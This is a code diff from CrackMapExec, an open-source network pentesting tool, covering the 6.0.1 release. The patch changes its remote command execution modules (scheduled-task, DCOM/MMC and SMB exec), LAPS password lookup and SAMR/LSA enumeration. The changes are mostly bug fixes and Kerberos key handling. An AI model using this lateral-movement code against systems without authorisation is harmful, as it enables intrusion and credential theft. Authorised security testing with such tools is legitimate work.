self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
if not self.domain:
self.domain = self.hostname
@ -322,7 +321,11 @@ class smb(connection):
self.args.kerberos,
self.args.kdcHost,
339)
data = d.run()
try:
data = d.run()
except Exception as e:
self.logger.fail(str(e))
return
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
@ -405,8 +408,8 @@ class smb(connection):
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
else:
self.plaintext_login(username, password, self.host)
return
self.plaintext_login(self.hostname, username, password)
return True
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
@ -603,7 +606,11 @@ class smb(connection):
)
self.smbv1 = False
except socket.error as e:
# This should not happen anymore!!!
if str(e).find("Too many open files") != -1:
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
@ -626,7 +633,10 @@ class smb(connection):
except:
pass
else:
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
dce.bind(scmr.MSRPC_UUID_SCMR)
except:
pass
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
@ -689,7 +699,8 @@ class smb(connection):
self.password,
self.domain,
self.conn,
self.hash,
self.args.share,
self.hash
)
self.logger.info("Executed command via mmcexec")
break
@ -709,6 +720,7 @@ class smb(connection):
self.aesKey,
self.kdcHost,
self.hash,
self.logger
) # self.args.share)
self.logger.info("Executed command via atexec")
break
@ -731,6 +743,7 @@ class smb(connection):
self.kdcHost,
self.hash,
self.args.share,
self.args.port,
self.logger
)
self.logger.info("Executed command via smbexec")
@ -1001,7 +1014,7 @@ class smb(connection):
groups = SamrFunc(self).get_local_groups()
if groups:
self.logger.success("Enumerated local groups")
self.logger.display(f"Local groups: {groups}")
self.logger.debug(f"Local groups: {groups}")
for group_name, group_rid in groups.items():
self.logger.highlight(f"rid => {group_rid} => {group_name}")
@ -1274,7 +1287,7 @@ class smb(connection):
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.kerberos:
rpc_transport.set_kerberos(self.kerberos, self.kdcHost)

View File

@ -5,7 +5,7 @@ import os
import logging
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from cme.helpers.misc import gen_random_string
from cme.logger import cme_logger
from time import sleep
@ -23,6 +23,7 @@ class TSCH_EXEC:
aesKey=None,
kdcHost=None,
hashes=None,
logger=cme_logger
):
self.__target = target
self.__username = username
@ -36,6 +37,7 @@ class TSCH_EXEC:
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.logger = logger
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
@ -147,6 +149,7 @@ class TSCH_EXEC:
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = gen_random_string(8)
tmpFileName = tmpName + ".tmp"
@ -156,7 +159,11 @@ class TSCH_EXEC:
logging.info(f"Task XML: {xml}")
taskCreated = False
logging.info(f"Creating task \\{tmpName}")
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
try:
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
self.logger.fail(str(e))
return
taskCreated = True
logging.info(f"Running task \\{tmpName}")

View File

@ -60,7 +60,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None):
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None):
self.__host = host
self.__username = username
self.__password = password
@ -76,10 +76,12 @@ class MMCEXEC:
self.__quit = None
self.__executeShellCommand = None
self.__retOutput = True
self.__share = share
self.__dcom = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(":")
dcom = DCOMConnection(
self.__dcom = DCOMConnection(
self.__host,
self.__username,
self.__password,
@ -90,7 +92,7 @@ class MMCEXEC:
oxidResolver=True,
)
try:
iInterface = dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(("Document",))
@ -117,20 +119,20 @@ class MMCEXEC:
except Exception as e:
self.exit()
logging.error(str(e))
dcom.disconnect()
self.__dcom.disconnect()
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF("".join(resp))["flags"]
objRefType = OBJREF(b"".join(resp))["flags"]
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM("".join(resp))
objRef = OBJREF_CUSTOM(b"".join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER("".join(resp))
objRef = OBJREF_HANDLER(b"".join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD("".join(resp))
objRef = OBJREF_STANDARD(b"".join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED("".join(resp))
objRef = OBJREF_EXTENDED(b"".join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
@ -150,6 +152,7 @@ class MMCEXEC:
self.__retOutput = output
self.execute_remote(command)
self.exit()
self.__dcom.disconnect()
return self.__outputBuffer
def exit(self):
@ -163,12 +166,11 @@ class MMCEXEC:
return True
def execute_remote(self, data):
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
self.__output = "\\Windows\\Temp\\" + gen_random_string(6)
command = "/Q /c " + data
command = self.__shell + " /Q /c " + data
if self.__retOutput is True:
command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1"
command += " 1> " + f"{self.__output}" + " 2>&1"
dispParams = DISPPARAMS(None, False)
dispParams["rgdispidNamedArgs"] = NULL
@ -203,7 +205,7 @@ class MMCEXEC:
dispParams["rgvarg"].append(arg0)
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
self.get_output_fileless()
self.get_output_remote()
def output_callback(self, data):
self.__outputBuffer += data
@ -219,3 +221,22 @@ class MMCEXEC:
break
except IOError:
sleep(2)
def get_output_remote(self):
if self.__retOutput is False:
self.__outputBuffer = ""
return
while True:
try:
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
# Output not finished, let's wait
sleep(2)
pass
else:
pass
self.__smbconnection.deleteFile(self.__share, self.__output)

View File

@ -80,7 +80,7 @@ class PassPolDump:
self.hash = connection.hash
self.lmhash = ""
self.nthash = ""
self.aesKey = None
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.pass_pol = {}

View File

@ -25,7 +25,7 @@ class SamrFunc:
self.hash = connection.hash
self.lmhash = ""
self.nthash = ""
self.aesKey = (None,)
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
if self.hash is not None:
@ -40,16 +40,20 @@ class SamrFunc:
self.samr_query = SAMRQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
)
self.lsa_query = LSAQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
logger=self.logger
)
@ -107,13 +111,14 @@ class SAMRQuery:
remote_name="",
remote_host="",
kerberos=None,
aesKey="",
):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__aesKey = None
self.__aesKey = aesKey
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
@ -207,6 +212,7 @@ class LSAQuery:
port=445,
remote_name="",
remote_host="",
aesKey="",
kerberos=None,
logger=None
):
@ -215,7 +221,7 @@ class LSAQuery:
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__aesKey = None
self.__aesKey = aesKey
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host

View File

@ -24,7 +24,7 @@ class UserSamrDump:
self.hash = connection.hash
self.lmhash = ""
self.nthash = ""
self.aesKey = None
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []

View File

@ -91,8 +91,7 @@ class winrm(connection):
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def laps_search(self, username, password, ntlm_hash, domain):
ldapco = LDAPConnect(self.domain, "389", self.domain)

330
poetry.lock generated

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +1,6 @@
[tool.poetry]
name = "crackmapexec"
version = "6.0.0"
version = "6.0.1"
description = "A swiss army knife for pentesting networks"
authors = ["Marcello Salvati <byt3bl33d3r@pm.com>", "Martial Puygrenier <mpgn@protonmail.com>"]
readme = "README.md"
@ -50,17 +50,18 @@ asyauth = "~0.0.13"
masky = "^0.2.0"
sqlalchemy = "^2.0.4"
aiosqlite = "^0.18.0"
pytest = "^7.2.2"
pyasn1-modules = "^0.3.0"
rich = "^13.3.5"
python-libnmap = "^0.7.3"
resource = "^0.2.1"
[tool.poetry.dev-dependencies]
[tool.poetry.group.dev.dependencies]
flake8 = "*"
pylint = "*"
shiv = "*"
black = "^20.8b1"
pytest = "^7.2.2"
[build-system]
requires = ["poetry-core>=1.0.0"]
requires = ["poetry-core>=1.2.0"]
build-backend = "poetry.core.masonry.api"